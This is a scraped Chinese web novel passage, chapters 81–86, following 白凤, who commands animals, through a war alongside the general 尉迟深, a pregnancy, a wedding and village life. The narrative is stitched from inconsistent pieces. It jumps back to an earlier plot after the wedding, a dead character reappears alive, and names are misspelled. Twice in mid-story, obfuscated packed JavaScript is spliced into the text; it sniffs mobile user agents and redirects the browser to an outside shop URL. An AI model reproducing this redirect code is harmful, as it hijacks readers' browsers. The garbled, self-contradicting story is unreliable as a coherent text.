皇帝看着跪在地上 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小九在旁边偷笑:“主人,您这话要是让将军听见,他肯定又要说您没个正形。” “他敢?”白凤瞪眼,“我帮他坐上太子之位,他还敢嫌弃我?” 话音刚落,尉迟深就从殿内走出来,一把拉住白凤的手腕:“走,陛下要见你。” “见**什么?”白凤被拖着往里走,“我又不是朝臣。” “陛下说要重赏你。” 白凤眼睛一亮:“重赏?多重?” 尉迟深没回答,直接把她带进了御书房。 皇帝看着白凤,笑容和蔼:“这次多亏了你,朕才能识破太子的真面目。说吧,你想要什么赏赐?” 白凤想了想:“陛下,臣想要一块地。” “地?”皇帝有些意外,“要地做什么?” “臣想扩建动物园。”白凤掰着指头算,“现在的园子太小了,臣手下那些大家伙施展不开。而且臣还想养些更稀奇的动物,比如南海的巨龟,西域的狮子,北地的白熊…” 皇帝听得津津有味:“有意思,准了!朕给你京郊那片荒地,你随意使用。” 第81章 它们可是我的命根子 “多谢陛下!”白凤喜笑颜开。 出了宫,尉迟深看着她:“你就想着你那些动物?” “不然呢?”白凤理所当然,“它们可是我的命根子。对了,你什么时候陪我回镇上?” “等处理完手头的事。”尉迟深顿了顿,“最近边境不太平,北狄又在蠢蠢欲动。” 白凤皱眉:“又要打仗?” “恐怕是。”尉迟深叹气,“北狄趁着朝中动荡,已经侵占了三座城池。陛下的意思是让我领兵出征。” “那我跟你一起去。”白凤想都没想就说。 “战场凶险…” “少废话。”白凤打断他,“我的猛兽军团可不是吃素的。上次剿匪,我那几只老虎可是立了大功。” 尉迟深看着她,最终点头:“好,一起去。” 一个月后,尉迟深率领三十万大军北上。白凤带着她的猛兽军团随行,浩浩荡荡的队伍绵延数十里。 军中士兵起初对白凤的猛兽还有些畏惧,但很快就发现这些动物训练有素,完全听从白凤的指挥。尤其是那几只老虎和狼群,在夜间巡逻时比士兵还要警觉。 “将军,前方探子来报,北狄大军驻扎在云州城外。”副将禀报。 尉迟深看着地图,沉吟片刻:“云州城易守难攻,强攻只会损失惨重。” “让我去探探路。”白凤凑过来,“我的鸟可以飞进城里,看看城内情况。” 当天夜里,十几只夜枭悄无声息地飞进云州城。天亮时,它们带回了详细的情报。 “城内守军不足五千,粮草也不多。”白凤指着地图,“北狄主力都在城外,城内防守空虚。” “你有什么想法?”尉迟深问。 白凤笑了:“我有个大胆的计划。” 三天后的深夜,云州城突然响起凄厉的兽吼。 城墙上的北狄士兵惊恐地看着黑暗中无数绿色的眼睛,那是白凤的狼群。紧接着,几只猛虎从城墙上跃下,在城内大开杀戒。 城内乱成一团,北狄守军根本无法组织有效防御。就在此时,尉迟深率领精锐从城门杀入,里应外合,一举拿下云州城。 城外的北狄主力听到消息,连夜撤军。 “打得漂亮!”尉迟深看着城头飘扬的大旗,难得露出笑容。 白凤坐在城墙上,给她的老虎顺**:“这次可是大功一件,回去你得给我请功。” “少不了你的。”尉迟深在她身边坐下,“累不累?” “还行。”白凤伸了个懒腰,“就是这些家伙太能吃了,军粮都快不够了。” 尉迟深失笑:“回京后,我让户部给你拨款。” “这可是你说的。”白凤眼睛一亮,“我要建个更大的动物园,把这些立功的家伙都好好养着。” 接下来的两个月,尉迟深和白凤配合默契,连续收复了被北狄占领的城池。白凤的猛兽军团在战场上大放异彩,北狄士兵闻兽色变,士气大跌。 最后一战在边境重镇雁门关。 北狄倾巢而出,十万大军压境。尉迟深以三十万对十万,本该占据优势,但北狄骑兵来去如风,几次冲击都让明军阵型险些崩溃。 “不能再这样下去了。”白凤看着战场,突然有了主意,“我去搞个大的。” “你要干什么?”尉迟深拉住她。 “你等着看就行。”白凤吹了声口哨,天空中突然出现密密麻麻的黑点。 那是白凤从各地召集来的猛禽,数量足有上千只。它们在空中盘旋,遮天蔽日。 “攻击!” 随着白凤一声令下,猛禽俯冲而下,专门攻击北狄战马的眼睛。战马受惊,四处乱窜,北狄骑兵阵型大乱。 尉迟深抓住机会,率军冲杀。白凤的狼群和老虎也从侧翼杀出,三面夹击之下,北狄大军溃不成军。 这一战,彻底打垮了北狄的嚣张气焰。 战后,尉迟深和白凤站在雁门关城楼上,看着远处的夕阳。 “这次回京,你想要什么赏赐?”尉迟深问。 白凤想了想:“我想回镇上看看。” “好,这次一定陪你去。” 回京的路上,队伍路过白凤曾经生活的小镇。 白凤站在镇口,看着熟悉又陌生的街道,心情复杂。 “走吧。”尉迟深牵起她的手。 两人走进镇子,街上的人看到白凤,都露出惊讶的表情。 “这不是凤丫头吗?” “真的是她!听说她在京城发达了!” 白凤朝熟悉 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白凤陪着舅舅坐了一下午,听他反复念叨着舅妈的名字。傍晚时分,大夫来了,诊脉后摇头:“心病还需心药医,老人家这是受刺激太深,恐怕…” 白凤没说话,只是握紧了舅舅的手。 第二天,白凤在镇外的山坡上给舅妈立了碑。舅舅跪在碑前,终于哭出声来。 “冬梅,我对不起你…” 白凤站在一旁,看着舅舅佝偻的背影,想起小时候舅舅对她的照顾,眼眶发热。 当天晚上,镇上的乡亲们听说白凤回来了,纷纷赶来。他们摆了十几桌酒席,非要给白凤接风。 “凤丫头,听说你在京城当大官了?” “什么大官,我就是养养动物。”白凤笑着说。 “那也了不起!咱们镇上出了你这么个人物,我们脸上都有光!” 酒过三巡,白凤已经有些醉了。尉迟深想扶她回去,却被乡亲们拦住。 “将军,今天高兴,多喝几杯!” “是啊是啊,难得凤丫头回来一趟!” 尉迟深推脱不过,也喝了不少。 夜深时,白凤已经醉得不省人事。尉迟深把她抱回客栈,刚放在床上,白凤突然抱住他的脖子。 第82章 我就是想…想… “别走…”她迷迷糊糊地说。 尉迟深看着她通红的脸,喉结滚动:“你醉了。” “我没醉。”白凤睁开眼,眼中水光潋滟,“我就是想…想…” 后面的话淹没在唇齿之间。 回京的路上,白凤总觉得身体不太对劲。 她容易犯困,胃口也变得古怪,有时候闻到肉味就想吐,有时候又特别想吃酸的。 “你最近怎么了?”尉迟深注意到她的异常,“要不要找大夫看看?” “可能是水土不服吧。”白凤摆摆手,“过几天就好了。” 但到了京城,症状不但没好转,反而更严重了。 小九看着白凤对着早膳发呆,忍不住说:“主人,您该不会是…” “是什么?” “您该不会是有了吧?”小九小心翼翼地说。 白凤愣住,掰着指头算了算日子,脸色骤变:“不会吧?” “要不找大夫看看?” 白凤犹豫片刻,点头:“去请王太医,让他悄悄来,别声张。” 王太医诊脉后,捋着胡子笑了:“恭喜白姑娘,您这是喜脉,已经两个月了。” 白凤脑子嗡的一声,半天没反应过来。 “主人,您真的有了!”小九激动得跳起来,“这可是大喜事!” 白凤回过神,第一反应是:“尉迟深不是说他绝嗣吗?” 王太医闻言,笑得更开心:“太子殿下身体康健,哪来的绝嗣?那不过是殿下不想接受陛下安排的联姻,故意放出的话罢了。” 白凤恍然大悟,咬牙切齿:“好你个尉迟深,居然骗我!” “主人,您现在该想想怎么告诉殿下这个好消息。”小九提醒。 白凤摸着肚子,突然笑了:“不急,我先吊吊他的胃口。” 接下来几天,白凤故意躲着尉迟深。尉迟深找她,她就说身体不舒服要休息。尉迟深想进屋看她,她就让小九把门守得死死的。 尉迟深急了,直接翻墙进了白凤的院子。 “你到底怎么了?”他看着躺在床上的白凤,眉头紧皱,“是不是病了?我去请太医。” “不用。”白凤懒洋洋地说,“我没病。” “那你为什么躲着我?” “我乐意。”白凤翻了个身,背对着他,“你出去吧,我要睡觉了。” 尉迟深站在床边,看着她的背影,突然说:“你是不是在生我的气?” “我生你什么气?” “因为那天晚上的事?”尉迟深试探着问,“我…” “你什么你?”白凤打断他,“你不是说你绝嗣吗?怎么,现在想反悔了?” 尉迟深沉默片刻,坐在床边:“对不起,我不该骗你。” “哼。”白凤冷哼一声,“你知道就好。” “那你现在还生气吗?” 白凤转过身,看着他:“你说呢?” 尉迟深看着她,突然笑了:“你是不是有什么事瞒着我?” “没有。”白凤矢口否认。 “真的没有?”尉迟深凑近她,“那为什么你最近总是犯困?为什么你看到肉就想吐?为什么你突然喜欢吃酸的?” 白凤心虚地移开视线:“你管得真宽。” “白凤。”尉迟深握住她的手,“你是不是有了?” 白凤瞪他:“谁告诉你的?” “没人告诉我,我猜的。”尉迟深眼中闪过惊喜,“真的有了?” 白凤别过脸:“是又怎么样?” 尉迟深突然把她抱进怀里,声音有些颤抖:“太好了,真的太好了。” 白凤被他抱得有些喘不过气:“你轻点,勒死我了。” 尉迟深连忙松手,小心翼翼地扶她坐好:“对不起,我太激动了。” 看着他手足无措的样子,白凤忍不住笑了:“你堂堂太子,怎么跟个傻子似的?” “我高兴。”尉迟深握着她的手,“白凤,我们成亲吧。” “谁要跟你成亲?”白凤故意说,“你骗了我这么久,我还没跟你算账呢。” “那你想怎么算?” “我要你把户部的银子都给我,让我扩建动物园。” “好。” “我还要你每天陪我去动物园。” “好。” “我还要…”白凤想了想,“我还要你给我爹**。” 尉迟深愣了愣:“你爹?” “我爹当年是被冤枉的。”白凤眼眶有些红,“他不是贪官,是被人陷害的。” “我知道。”尉迟深 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“不会的。”尉迟深安慰她,“我会让人看好它们。” 婚礼当天,整个京城都沸腾了。 太子大婚,百姓们纷纷涌上街头,想一睹太子妃的风采。 白凤坐在花轿里,听着外面的喧闹声,突然有些紧张。 “主人,快到了。”小九在轿外小声说。 白凤深吸一口气,整理了一下衣裙。 花轿停在太子府门口,尉迟深亲自来接她。 白凤话音刚落,黑甲侍卫的脸色就变了。 “你可知道拒绝尉迟将军意味着什么?”侍卫的声音压得很低,手已经按在了腰间的佩刀上。 “意味着我能继续过自己的日子。”白凫抱紧怀里的豆豆,往后退了半步,“将军府不缺我一个人,我也不稀罕那富贵。” 枣红骏马在一旁打了个响鼻,马蹄刨着地面。白凤听懂了它的意思——这侍卫动了杀心。 舅妈沈氏见势不妙,立刻换了副嘴脸:“哎呀,白凤你这孩子说的什么胡话!将军府看得起咱们,那是天大的福分!你一个寡妇带着野种,在外头能有什么好日子过?” 第83章 野种? “野种?”白凤冷笑,“舅妈这话说得可真顺口,前几天还想把这野种卖给王婆子换银子呢。” 沈氏的脸涨得通红,眼神闪烁着恶毒的光:“你个贱蹄子,翅膀硬了是不是?信不信我…” “信不信你什么?”白凤打断她的话,目光扫向黑甲侍卫,“我不管尉迟将军有什么打算,我只知道,我和豆豆过得好好的,不需要攀什么高枝。” 黑甲侍卫盯着白凤看了许久,突然收回了手:“将军说了,若你不愿,不可强求。” 这话让白凤有些意外。她原以为这些当兵的都是一个德行,没想到尉迟深倒还讲点规矩。 “不过,”侍卫话锋一转,“将军让我带句话——你若改变主意,随时可去府上寻他。另外,这袋银子是给孩子的,你收着。” 说完,侍卫从怀里掏出一个沉甸甸的荷包,放在城隍庙的供桌上,翻身上马离开了。 沈氏眼睛都直了,扑上去就要抢那荷包。白凤动作更快,一把将荷包揣进怀里。 “这是给豆豆的,你别想。” “你个丧门星!”沈氏气得跳脚,“有银子也不知道孝敬长辈!枉我养了你这么多年!” “养?”白凤觉得好笑,“舅妈是不是忘了,这些年我在你家干的活,哪家长工能比得上?吃的是猪食,住的是柴房,现在倒成了你养我?” 沈氏被噎得说不出话,恼羞成怒地指着白凤:“你给我等着!看我回去怎么收拾你!” “舅妈慢走不送。”白凤抱着豆豆转身进了城隍庙,大黄狗龇着牙跟在她身后,冲沈氏低吼了几声。 沈氏被吓得连连后退,骂骂咧咧地走了。 等人走远,白凤才松了口气。她打开荷包一看,里面竟然有五十两银子。这可不是小数目,够她和豆豆过上一阵好日子了。 “娘,那个叔叔好凶。”豆豆小声说,眼睛还有些红。 “不怕,他已经走了。”白凤摸摸儿子的头,心里却在盘算着接下来该怎么办。 尉迟深突然派人来接她回府,理由是绝嗣。这事怎么想都透着古怪。将军府那种地方,什么样的女人找不到?为什么偏偏要找她这个带着孩子的寡妇? “汪汪!”大黄狗突然叫了起来。 白凤听懂了它的意思:“你说那匹马告诉你,尉迟深中了毒,命不久矣?” 大黄狗点点头,又摇摇尾巴。 白凤皱起眉头。如果尉迟深真的命不久矣,那他找自己回去的目的就更可疑了。难道是想让豆豆继承他的家业? 这个念头刚冒出来,白凤就觉得荒唐。她和尉迟深素不相识,他凭什么把家业给豆豆? “算了,不想了。”白凤摇摇头,把荷包藏好,“咱们先去买点吃的,再找个安稳的地方住下。” 城隍庙虽然能遮风挡雨,但终究不是长久之计。白凤打算用这些银子在镇上租个小院子,再做点小买卖维持生计。 她抱着豆豆,带着大黄狗往镇上走。路过药材铺时,白凤突然想起昨天卖药材的事。那个赤脚郎中为了巴结师爷,特意跑去舅妈那里告状,害得她被找上门。 这口气,她咽不下。 白凤停下脚步,看着药材铺的招牌,嘴角勾起一抹笑意。 “大黄,你说那郎中最怕什么?” 大黄狗歪着头想了想,叫了几声。 “对,他最怕砸了招牌。”白凤眼睛一亮,“既然他不仁,就别怪我不义。” 她抱着豆豆走进药材铺,掌柜的一看是她,脸色立刻变了:“你还敢来?” “怎么不敢?”白凤笑眯眯地说,“我是来做生意的。” “做生意?”掌柜的冷哼一声,“你那些破草药,我们不收。” “不收没关系。”白凤也不生气,“我就是想问问,你们铺子里卖的那批黄芪,是不是从李家村收的?” 掌柜的脸色一变:“你怎么知道?” “我不光知道是从李家村收的,还知道那批黄芪有问题。”白凤压低声音,“李家村那片地前年闹过虫害,用了不少农药。那些黄芪看着品相好,其实都是**。” 掌柜的脸色煞白:“你胡说!” “我有没有胡说,你找个懂行的人验验就知道了。”白凤转身要走,“不过到时候要是出 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她在镇上转了一圈,最后在镇东头找到一个小院子。院子不大,只有两间房,但胜在清静,房东是个老婆婆,人看着还算和善。 “租金一个月二两银子。”老婆婆说,“你要是租,得先交三个月的。” 白凤爽快地掏出六两银子:“成交。” 老婆婆接过银子,笑得眼睛都眯起来了:“姑娘真是爽快人!这院子我给你收拾得干干净净,保准你满意。” 白凤带着豆豆和大黄狗搬进了小院。院子里有口井,还有几棵果树,虽然简陋,但比城隍庙强多了。 她把豆豆安顿好,又去集市上买了些米面油盐,还有几件换洗的衣裳。等忙完这些,天已经黑了。 白凤做了顿简单的晚饭,一家三口吃得很香。豆豆吃饱了,趴在娘怀里很快就睡着了。 大黄狗趴在门口,突然竖起耳朵,冲着外面低吼了几声。 “怎么了?”白凤警觉起来。 大黄狗叫了几声,意思是有人在外面鬼鬼祟祟。 第84章 路过还要翻墙? 白凤把豆豆放在床上,拿起门后的木棍,悄悄走到门边。她透过门缝往外看,果然看到一个黑影在院墙外晃悠。 “谁?”白凤猛地拉开门,举起木棍。 黑影被吓了一跳,转身就跑。白凤眼疾手快,一棍子砸在他腿上,那人惨叫一声,摔倒在地。 大黄狗扑上去,一口咬住那人的胳膊。 “哎哟!疼疼疼!”那人哭爹喊娘,“姑奶奶饶命!” 白凤走近一看,竟然是舅妈家的邻居王二癞子。这人平时游手好闲,专干些偷鸡摸狗的勾当。 “王二癞子,你来我这里干什么?”白凤冷着脸问。 “我…我就是路过。”王二癞子支支吾吾。 “路过?”白凤冷笑,“路过还要翻墙?” 王二癞子被戳穿,索性破罐子破摔:“是沈大娘让我来的!她说你这里有银子,让我来拿点…” “拿点?”白凤气笑了,“说得真好听,这叫偷!” 她一脚踢在王二癞子屁股上:“滚!回去告诉我舅妈,要是再敢打我的主意,我就报官!” 王二癞子屁滚尿流地跑了。 白凤关上门,心里却有些不安。看来舅妈是盯上她的银子了,以后得多加小心。 她回到屋里,看着熟睡的豆豆,心里五味杂陈。原主留给她的这副烂摊子,还真不好收拾。 不过既然老天让她活过来,她就得好好活下去,把豆豆养大成人。 至于尉迟深那边,白凤暂时不想理会。管他什么绝嗣不绝嗣,跟她有什么关系? 第二天一早,白凤就被大黄狗的叫声吵醒了。 她睁开眼,发现天还没亮透,豆豆还在身边睡得香甜。大黄狗趴在门口,冲着外面叫个不停。 “又怎么了?”白凤揉揉眼睛,披上外衣走到门边。 大黄狗叫了几声,意思是那只大耗子又来了,说山上又有好东西。 白凤来了精神。上次跟着大耗子去山洞,收获了不少药材,换了一大笔银子。要是再去一趟,说不定能找到更值钱的东西。 她简单洗漱了一下,给豆豆留了张纸条,带着大黄狗出了门。 天刚蒙蒙亮,街上还没什么人。白凤一路小跑到城隍庙,果然看到那只大耗子蹲在供桌上,正啃着不知从哪里偷来的馒头。 “吱吱吱!”大耗子看到白凤,兴奋地叫了起来。 白凤听懂了它的意思:“你说山上有人参?还是百年的?” 大耗子点点头,尾巴摇得飞快。 白凤心跳加速。百年人参,那可是价值连城的宝贝!要是能挖到,她和豆豆下半辈子都不用愁了。 “走,带我去看看。” 一人一狗一鼠,趁着天色未明,悄悄上了山。 这次大耗子带她走的路跟上次不同,越往深处走,树木越茂密,脚下的路也越难走。白凤几次差点摔倒,全靠大黄狗在前面探路,才勉强跟上。 走了大约一个时辰,大耗子突然停下,指着前方一片乱石堆。 “就在这里?”白凤有些怀疑。 大耗子肯定地点点头,钻进石缝里不见了。 白凤小心翼翼地走过去,扒开石头一看,果然看到一株人参。那人参长得奇特,参须密密麻麻,参体粗壮,一看就不是凡品。 她正要动手挖,突然听到身后传来脚步声。 白凤心里一惊,赶紧躲到石头后面。大黄狗也机灵,趴在她脚边一动不动。 脚步声越来越近,白凤透过石缝往外看,看到两个穿着短打的汉子走了过来。 “大哥,你确定那人参就在这附近?”其中一个汉子问。 “错不了。”另一个汉子说,“我昨天特意做了记号,就在这片乱石堆里。” 白凤心里暗骂,原来这人参早就被人盯上了。她看了看手边的人参,又看了看那两个汉子,心里盘算着该怎么办。 硬抢肯定不行,她一个女人,打不过两个大汉。智取?可她现在躲在这里,一动就会被发现。 正在她犹豫的时候,大黄狗突然窜了出去,冲着那两个汉子狂吠。 “哪来的野狗!”一个汉子抬脚就要踢。 大黄狗灵活地躲开,绕着他们转圈,叫得更凶了。 两个汉子被缠住,白凤趁机快速挖出人参,用随身带的布包好,塞进怀里。 “大黄,走!” 大黄狗听到主人的呼唤,转身就跑。两个汉子这才反应过来,追了上去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198247|197022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “站住!偷人参的贼!” 白凤跑得飞快,大黄狗在前面带路,七拐八拐,很快就把那两个汉子甩开了。 等跑到安全的地方,白凤才停下来喘气。她掏出怀里的人参,仔细看了看,确认没有损坏,这才松了口气。 “大黄,你真聪明。”白凤摸摸大黄狗的头,“回去给你加餐。” 大黄狗摇着尾巴,舌头伸得老长。 白凤抱着人参下了山,心里美滋滋的。这株百年人参,少说也能卖个几百两银子。有了这笔钱,她就能开个铺子,做点正经生意,再也不用看别人脸色过日子了。 回到小院,豆豆已经醒了,正坐在院子里玩石子。看到娘回来,立刻扑了过来。 “娘,你去哪里了?” “娘去办点事。”白凤笑着说,“豆豆饿了吧?娘这就给你做饭。” 她把人参藏好,去厨房做早饭。正忙活着,突然听到外面有人敲门。 白凤心里一紧,该不会是那两个汉子追来了吧? 她拿起菜刀,小心翼翼地走到门边:“谁?” “是我。”门外传来一个苍老的声音。 白凤打开门一看,是房东老婆婆。 “婆婆,您怎么来了?” “我是来告诉你一声,”老婆婆压低声音说,“刚才有人来打听你,问你是不是住在这里。” 白凤心里一沉:“什么人?” “看着不像好人。”老婆婆说,“我没告诉他们,但你还是小心点。” “多谢婆婆。”白凤塞给她一串铜钱,“您的好意我记下了。” 老婆婆推辞了几下,还是收下了。她走后,白凤关上门,脸色凝重。 看来那两个汉子真的追来了。她得赶紧把人参出手,然后离开这里。 可是人参这种东西,不是随便哪个药铺都敢收的。万一遇到黑心的,不但拿不到钱,还可能惹上麻烦。 白凤想了想,决定去找镇上最大的药铺——济世堂。 济世堂的掌柜姓钱,是个精明人。白凤上次卖药材,就是在他那里卖的。虽然价格压得低了点,但至少不会黑她。 她把豆豆托付给隔壁的张婶,带着人参去了济世堂。 第85章 你们自己看着办 黑甲侍卫的马蹄声还未走远,师爷就变了脸色。 他擦着额头的冷汗,对沈冬梅和舅妈摆手,“这事我不管了,你们自己看着办。” “师爷,您不能不管啊!”沈冬梅急了,拽住师爷的袖子,“那**现在越发嚣张,您得替我们做主!” 师爷甩开她的手,脸色难看,“做什么主?你没看见那些黑甲侍卫?那可是王府的人!我一个小小师爷,哪敢招惹?” 舅妈也慌了神,嘴唇哆嗦着,“那、那怎么办?万一那贱丫头真生了王爷的孩子,回头找我们算账…” “你们自己惹的祸,自己想办法。”师爷撂下这句话,转身就走。 沈冬梅瘫坐在地上,脸色煞白。舅妈更是吓得腿软,扶着墙才勉强站稳。 “娘,咱们是不是做错了?”舅妈声音发颤。 “闭嘴!”沈冬梅咬牙,“都到这地步了,说这些有什么用?” 两人面面相觑,都从对方眼中看到了恐惧。 --- 白凤背着竹篓再次上山时,天刚蒙蒙亮。 大黄狗摇着尾巴跟在她身后,不时嗅嗅路边的草丛。这段时间白凤摸清了山里的门道,哪里有好药材,哪条路最安全,都记在心里。 她动作麻利地采着草药,手法比之前熟练了不少。一株人参、几棵灵芝、还有些稀罕的药材,不到半天就装满了竹篓。 “大黄,回家。” 白凤拍拍竹篓,心情不错。这些药材拿到郡城去卖,能换不少银子。镇上那个赤脚郎中虽然收药材,但压价压得厉害,她才不愿意被人宰。 郡城离镇子有二十多里路,白凤起了个大早,赶在午时前到了药铺。 “哟,白姑娘又来了?”掌柜的笑眯眯地迎上来,“今天带了什么好东西?” 白凤把竹篓放下,掌柜的眼睛一亮。 “这人参品相不错,还有这灵芝…白姑娘,你这采药的本事可真了得。” “掌柜的给个实在价。”白凤不废话。 掌柜的盘算了一番,“这些我全收,给你五十两银子。” “成交。” 白凤接过银票,心里盘算着该怎么花这笔钱。房子得换个大点的,还得买些日常用品,剩下的存起来… 她正想着,突然感觉有人跟着自己。 白凤装作没发现,拐进一条小巷。果然,身后传来脚步声。 “小娘子,把银子留下!” 三个地痞模样的人堵住了巷口,为首的那个满脸横肉,手里还拎着根木棍。 白凤眯起眼睛,“光天化日**,你们不怕官府?” “嘿嘿,等官府来了,我们早跑了。”横肉脸狞笑着逼近,“识相的就把银子交出来,免得吃苦头。” 话音刚落,大黄狗突然窜了出来。 它龇着牙,喉咙里发出低沉的吼声。横肉脸被吓了一跳,举起木棍就要打。 “畜生找死!” 大黄狗灵活地躲开,反咬住他的小腿。横肉脸惨叫一声,木棍掉在地上。另外两个地痞见状,抄起家伙就要上前。 就在这时,一道黑影闪过。 三个地痞还没反应过来,就被踹飞出去,重重摔在墙上。白凤看清了来人——正是之前见过的黑甲侍卫。 “多谢。”白凤抱拳。 黑甲侍卫点点头,没说话,转身消失在巷子里。 白凤摸摸大黄狗的脑袋,“干得不错。” 大黄狗摇着尾巴,舌头伸得老长。 --- 有了这五十两银子,白凤在镇子边上买了个带小院的房子。虽然不大,但比之前那间破屋强多了。院子里还能种些菜,养些鸡鸭。 她收拾着新家,心里却在盘算别的事。 大黄狗虽然机灵,但毕竟只是条狗。今天要不是黑甲侍卫出手,她未必能全身而退。得找个更厉害的帮手才行。 白凤想起上次在山里见到的那条沟——磨房沟。 那里据说有黑熊出没,镇上的猎户都不敢轻易进去。但白凤不一样,她有大黄狗,还有那些暗中保护她的黑甲侍卫。 “搞只小熊崽回来养着,长大了就是最好的护卫。” 白凤越想越觉得可行。黑熊力气大,又凶猛,有它在,谁还敢打她的主意? 说干就干。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205184|197022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天一早,白凤就带着大黄狗往磨房沟去了。那条沟在山的深处,路不好走,白凤花了大半天才找到地方。 沟里阴森森的,树木茂密,几乎不见阳光。白凤小心翼翼地往里走,大黄狗紧紧跟在她身边,鼻子不停嗅着。 突然,大黄狗停下了,喉咙里发出警告的声音。 白凤顺着它的视线看去,只见不远处的树丛里,有个黑乎乎的东西在动。 是熊! 而且还不止一只。白凤屏住呼吸,慢慢往后退。她可不想正面对上成年黑熊,那简直是找死。 就在这时,她听到了细微的叫声。 是熊崽! 白凤眼睛一亮,循着声音找过去。果然,在一棵大树下,有两只毛茸茸的小熊崽正在玩耍。 “就是它们了。” 白凤正要靠近,突然听到身后传来动静。她回头一看,脸色大变——一个人影鬼鬼祟祟地跟在她后面。 是镇上那个赤脚郎中! 那郎中显然也发现了白凤,脸上露出贪婪的表情。他肯定是看白凤总能找到好药材,起了歹心,想跟着她找药材的地方。 “原来你的药材都是从这里采的。”赤脚郎中阴测测地笑,“这地方不错,以后就是我的了。” 白凤冷笑,“你以为你能活着出去?” “什么意思?”赤脚郎中愣了一下。 话音刚落,一声震天的熊吼响起。 一只巨大的黑熊从树丛里冲了出来,直奔赤脚郎中而去。那是熊崽的母亲,发现有人靠近自己的孩子,彻底暴怒了。 赤脚郎中吓得魂飞魄散,转身就跑。但他哪里跑得过黑熊?没几步就被扑倒在地,惨叫声响彻山林。 白凤趁机抱起一只熊崽,撒腿就跑。大黄狗在前面开路,她紧紧跟着,头也不回。 身后的惨叫声渐渐弱了下去,最后彻底消失。 白凤跑出老远,才敢停下来喘气。她低头看看怀里的熊崽,小家伙正用黑溜溜的眼睛看着她,奶声奶气地叫着。 “以后你就跟着我了。”白凤摸摸它的脑袋,“放心,我会好好养你的。” 第86章 可不是好惹的 熊崽似乎听懂了,用毛茸茸的脑袋蹭了蹭她的手。 回到镇上时,天已经黑了。 白凤把熊崽藏在怀里,悄悄溜回家。她在院子里给熊崽搭了个窝,又喂了些吃的,这才松了口气。 “大黄,以后你就有个伴了。”白凤笑着说,“好好相处,知道吗?” 大黄狗凑过去嗅了嗅熊崽,熊崽也不怕,伸出小爪子拍了拍它的鼻子。一狗一熊很快就玩到了一起。 白凤看着这一幕,心里暖洋洋的。 有了大黄和小熊,她以后的日子肯定会越来越好。至于那些想害她的人,就让他们继续蹦跶去吧。 她白凤,可不是好惹的。 熊崽长得很快。 才半个月,就从巴掌大小长到了小狗那么大。白凤每天上山采药,都会给它带些野果和蜂蜜回来。小家伙吃得欢,对她也越来越亲近。 白凤给它取名叫“黑子”。 这天,她正在院子里晒药材,黑子和大黄在一旁打闹。突然,院门被人粗暴地推开了。 “就是这里!” 王婆子领着几个人冲了进来,指着黑子大喊,“你们看,她真的养了熊!这要是伤了人怎么办?” 白凤皱眉,“王婆子,你这是干什么?” “干什么?”王婆子叉着腰,“你养这种凶兽,万一伤了镇上的孩子,谁负责?” “黑子很乖,不会伤人。”白凤冷静地说。 “谁信你的鬼话!”王婆子身后的一个妇人尖声道,“我家孩子昨天路过你家门口,差点被那畜生咬了!” 白凤冷笑,“你家孩子拿石头砸黑子,它不咬他咬谁?” “你还有理了?”妇人气急败坏,“反正你必须把这畜生处理掉,不然我们就去报官!” 白凤正要说话,黑子突然站了起来,冲着那些人低吼。 虽然还是幼崽,但黑熊的威慑力可不是开玩笑的。几个妇人吓得往后退,王婆子更是脸色发白。 “你、你看!它要咬人了!”王婆子结结巴巴地喊。 “黑子,回来。”白凤淡淡地说。 黑子立刻乖乖地走回她身边,蹲坐下来。白凤摸摸它的脑袋,看向王婆子等人。 “我的院子,我想养什么就养什么。你们要是不服,尽管去报官。” 王婆子气得浑身发抖,但又不敢靠近。她狠狠瞪了白凤一眼,转身就走。 “你等着!我这就去找你舅妈,看她怎么收拾你!” 王婆子果然去找了舅妈。 舅妈这段时间一直提心吊胆,生怕白凤找她算账。听说白凤养了熊,更是吓得不轻。 “这死丫头疯了不成?”舅妈拍着大腿,“养熊!她想干什么?” “可不是嘛。”王婆子添油加醋,“那熊凶得很,差点咬了我家孙子。这要是真伤了人,咱们镇上还能安生?” 沈冬梅也在一旁,阴沉着脸,“这贱丫头越来越不像话了。必须把她赶出镇子,免得惹祸上身。” “对对对,赶出去!”王婆子连连点头,“咱们去找里正,让他主持公道。” 几个人商量好了,就去找里正。 里正是个五十多岁的老头,在镇上颇有威望。听了她们的话,他也皱起了眉头。 “养熊确实不妥。”里正沉吟道,“这样吧,我去跟白凤说说,让她把熊处理掉。” “处理掉就行了?”王婆子不满,“她都养了这么危险的东西,必须赶出镇子才行!” 里正摆摆手,“这事我自有分寸。” 里正带着几个人来到白凤家时,正好碰上白凤在喂黑子。 黑子蹲在地上,捧着个大碗,吃得津津有味。看到有人来,它抬起头,眼神警惕。 “白凤。”里正开口,“你养熊的事,镇上都传开了。这不合适,你还是把它处理掉吧。” 白凤放下手里的东西,看向里正,“里正,黑子很乖,不会伤人。” “话是这么说,但熊毕竟是猛兽。”里正叹了口气,“万一出了事,你担得起责任吗?” “我担得起。”白凤语气坚定,“黑子是我养的,出了事我负责。” “你一个小姑娘,能负什么责?”王婆子在一旁冷笑,“我看你就是想害人!” 白凤冷冷地看了她一眼,“王婆子,你儿子偷邻居家鸡的事,要不要我说出来?” 王婆子脸色一变,“你胡说什么!” “胡不胡说,你心里清楚。”白凤不紧不慢地说,“还有你孙子,上次偷了李家的 